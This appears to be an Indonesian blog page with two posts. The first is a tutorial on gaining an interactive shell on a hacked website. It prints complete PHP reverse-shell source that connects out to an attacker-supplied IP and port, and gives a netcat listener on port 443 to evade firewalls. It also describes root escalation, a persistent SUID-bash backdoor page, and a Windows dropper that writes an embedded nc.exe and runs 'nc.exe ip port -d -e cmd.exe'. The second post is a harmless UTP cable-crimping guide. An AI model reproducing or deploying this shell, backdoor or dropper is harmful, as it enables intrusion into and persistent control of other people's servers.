Minggu, 24 Juli 2011

Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
 
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
 
if ($pid) {
exit(0); // Parent exits
}
 
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
 
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
 
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
 
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
 
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
 
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.

Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
$nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
undefined

Sabtu, 23 Juli 2011

Belajar sendiri pasang kabel UTP untuk jaringan

Tutorial singkat ini cocok sekali buat Anda yang sedang membuat jaringan komputer ‘MURAH’ khususnya yang terdiri lebih dari dua client yang pake hub (jauh lebih murah daripada router ). To the point! Apa sih kabel UTP itu? Kabel UTP itu adalah kabel khusus buat transmisi data. UTP, singkatan dari “Unshielded Twisted Pair”. Disebut unshielded karena kurang tahan terhadap interferensi elektromagnetik. Dan disebut twisted pair karena di dalamnya terdapat pasangan kabel yang disusun spiral alias saling berlilitan. Ada 5 kategori kabel UTP. Dari kategori 1 sampai kategori 5. Untuk jaringan komputer yang terkenal adalah kategori 3 dan kategori 5.
kabel1.jpg
Kategori 3 bisa untuk transmisi data sampai 10 mbps, sedang kategori 5 sampai 100 mbps. Kalau hanya buat misalnya jaringan komputer di kantor atau kampus atau warnet, paling hemat  ya menggunakan yang kategori 3. Itu sudah lebih dari cukup.Setahu penulis ada banyak merek yang beredar di pasaran, hanya saja yang terkenal bandel dan relatif murah adalah merek Belden – made in USA. Kalau mau yang lebih murah dan penggunaannya banyak, maka beli saja yang satu kotak, panjangnya sekitar 150 meter. Jangan lupa beli konektornya. Konektornya bentuknya seperti colokan telepon hanya saja lebih besar. Bilang saja mau beli konektor RJ-45.
kabel2.jpg
Foto RJ – 45 yang masih baru, belum di gencet pake tang
Satu lagi yang sangat penting, Anda harus punya tang khusus buat memasang konektor ke kabel UTP, istilah kerennya adalah “crimp tool”. Alat ini gunanya untuk ‘mematikan’ atau ‘menanam’ konektor ke kabel UTP. Jadi sekali sudah di ‘tang’, maka sudah tidak bisa dicopot lagi konektornya. Dan kalau mau yang lebih OK, biar tidak nanggung maka beli pula sebuah LAN tester. Anda bisa membeli yang merek dari Taiwan saja agar lebih murah. Bentuknya seperti kotak dan ada lampu LED-nya delapan pasang dan bisa kedap-kedip.
kabel3.jpg
OK sekarang peralatan udah siap, penulis mulai saja. Secara umum, pemasangan kabel UTP tersebut ada dua tipe, yaitu tipe straight dan tipe cross. Disebut tipe straight soalnya masing-masing kabel yang jumlahnya 8 itu berkorespondensi 1-1, langsung. Sedangkan disebut cross soalnya ada persilangan pada susunan kabelnya. Bingung?OK! Untuk tipe straight itu digunakan untuk menyambungkan kabel dari client ke hub. Sedangkan untuk tipe cross adalah untuk client langsung terhubung ke client (cpu to cpu) atau juga dari hub ke hub.
Kita bahas dulu yang tipe straight
Tipe ini adalah yang paling gampang dibuat. Kenapa? Soalnya langsung korespondensinya 1-1. Standar urutannya begini (dilihat dari lubang konektor, dari kiri ke kanan – lihat Gambar 4) : 2 oranye – 1 hijau – 2 biru – 1 hijau – 2 coklat . 2 oranye disini maksudnya pasangan oranye muda sama oranye tua dan seterusnya. Tapi tidak usah ikut standar pewarnaan itu juga sebenarnya tidak masalah. Yang penting urutan kabelnya. Misal ujung pertama urutan pin pertamanya oranye muda, maka ujung yang lain urutan pin pertamanya juga harus oranye muda, jadi antar ujung saling nyambung. Sebenarnya tidak semua pin tersebut digunakan.
kabel4.jpg
Yang penting adalah pin nomor 1,2,3 dan 6. Jadi misal yang disambung hanya pin 1,2,3 dan 6 sedangkan pin yang lain tidak dipasang, tidak jadi masalah. Untuk lebih jelasnya silakan lihat gambar di bawah yang penulis foto dari sebuah buku.
kabel5.jpg
Yang kiri urutan korespondensi buat tipe straight, yang kanan yang cross
Waktu akan memasangnya, maka potong ujung kabelnya, kemudian susun kabelnya trus diratakan dengan pisau potong yang ada pada crimp tool. Andak tidak perlu repot harus melepaskan isolasi pada bagian ujung kabel, karena waktu Anda memasukan kabel itu ke konektor lalu ditekan (pressed) dengan menggunakan crimp tool, sebenarnya saat itu pin yang ada di konektor menembus sampai ke dalam kabel. Perhatikan, agar penekannya (pressing) yang keras, soalnya kalau tidak keras kadang pin tersebut tidak tembus ke dalam isolasi kabelnya. Kalau sudah kemudian Anda test menggunakan LAN tester. Masukkan ujung ujung kabel ke alatnya, kemudian nyalakan, kalau lampu led yang pada LAN tester menyala semua, dari nomor 1 sampai 8 berarti Anda telah sukses. Kalau ada salah satu yang tidak menyala berarti kemungkinan pada pin nomor tersebut ada masalah. Cara paling mudah yaitu Anda tekan (press) lagi menggunakan tang. Kemungkinan pinnya belum tembus. Kalau sudah Anda tekan tetapi masih tidak nyambung, maka coba periksa korespondensinya antar pin udah 1-1  atau belum. Kalau ternyata sudah benar dan masih gagal, berarti memang Anda belum beruntung. Ulangi lagi sampai berhasil.
kabel6.jpg
 LAN TESTER – alat untuk memeriksa benar tidaknya sambungan kabel. Untuk tipe straight jika benar maka led 1 sampai 8 berkedip.
Berikut adalah gambar dari bawah dari ujung kabel UTP yang sudah dipasangi konektor dan berhasil dengan baik (urutan pewarnaan pinnya ikut standar):
kabel7.jpg
urutan pin standar
Dan kalau yang ini tidak standar, coba perhatikan urutan warna pinnya, sangat tidak standar, tapi tetap saja bisa, yang penting korespondensinya satu satu (khusus tipe straight):
kabel8.jpg
urutan pin TIDAK standar
Tipe Cross

Untuk tipe cross itu digunakan untuk menyambungkan langsung antar dua PC, atau yang umumnya digunakan untuk menyambungkan antar hub. (misalnya karena colokan di hubnya kurang). Cara pemasangannya juga sebenarnya mudah, sama seperti tipe straight, pin yang digunakan juga sebenarnya hanya 4 pin saja, yaitu pin 1, 2, 3 dan 6. Yang berbeda adalah cara pasangnya. Kalau pada tipe cross, pin 1 disambungkan ke pin 3 ujung yang lain, pin 2 ke 6, pin 3 ke 1 dan pin 6 ke 2. Praktisnya begini, pada ujung pertama Anda bisa susun pinnya sesuai standar untuk yang tipe “straight”, sementara itu di ujung yang lain Anda susun pinnya sesuai standar buat tipe “cross”.
Masih bingung? Begini cara mudahnya:Ujung pertama:
  1. oranye muda
  2. oranye tua
  3. hijau muda
  4. biru muda
  5. biru tua
  6. hijau tua
  7. coklat muda
  8. coklat tua
Maka di ujung yang lain harus dibuat begini:
  1. hijau muda
  2. hijau tua
  3. orange muda
  4. biru muda
  5. biru tua
  6. orange tua
  7. coklat muda
  8. coklat tua
Sudah agak lebih mengerti? Jadi disini posisi nomor 1, 2, 3 dan 6 yang ditukar. Nanti jika dites menggunakan LAN tester, maka nantinya led 1, 2, 3 dan 6 akan saling bertukar. Kalau tipe straight menyalanya urutan, sedangkan tipe cross ada yang lompat-lompat. Tapi yang pasti harus menyalasemua setiap led dari nomor 1 sampai 8.OK, selamat membangun jaringan komputer. Semoga Anda bisa berhasil sewaktu memasang konektor pada kabelnya. Semoga ilmu ini berguna buat Anda, soalnya waktu dulu penulis pertama kali membuat jaringan hasilnya lucu sekali, untuk mengupas kabelnya penulis masih menggunakan cutter, padahal sudah ada fasilitasnya di crimp toolnya. Tambah lagi ujung-ujungnya tiap kabel penulis kelupas lagi menggunakan cutter, padahal yang betul tidak perlu dikupas satu-satu, biarkan saja rata, karena nantinya apabila di ‘crimp tool’ maka pin tersebut masing-masing akan tembus ke dalam kabelnya. Semoga Anda tidak melakukan hal sama seperti penulis dulu.Demikian tulisan mengenai cara membuat sambungan kabel UTP untuk jaringan komputer. Semoga berguna bagi Anda semua. Terima kasih.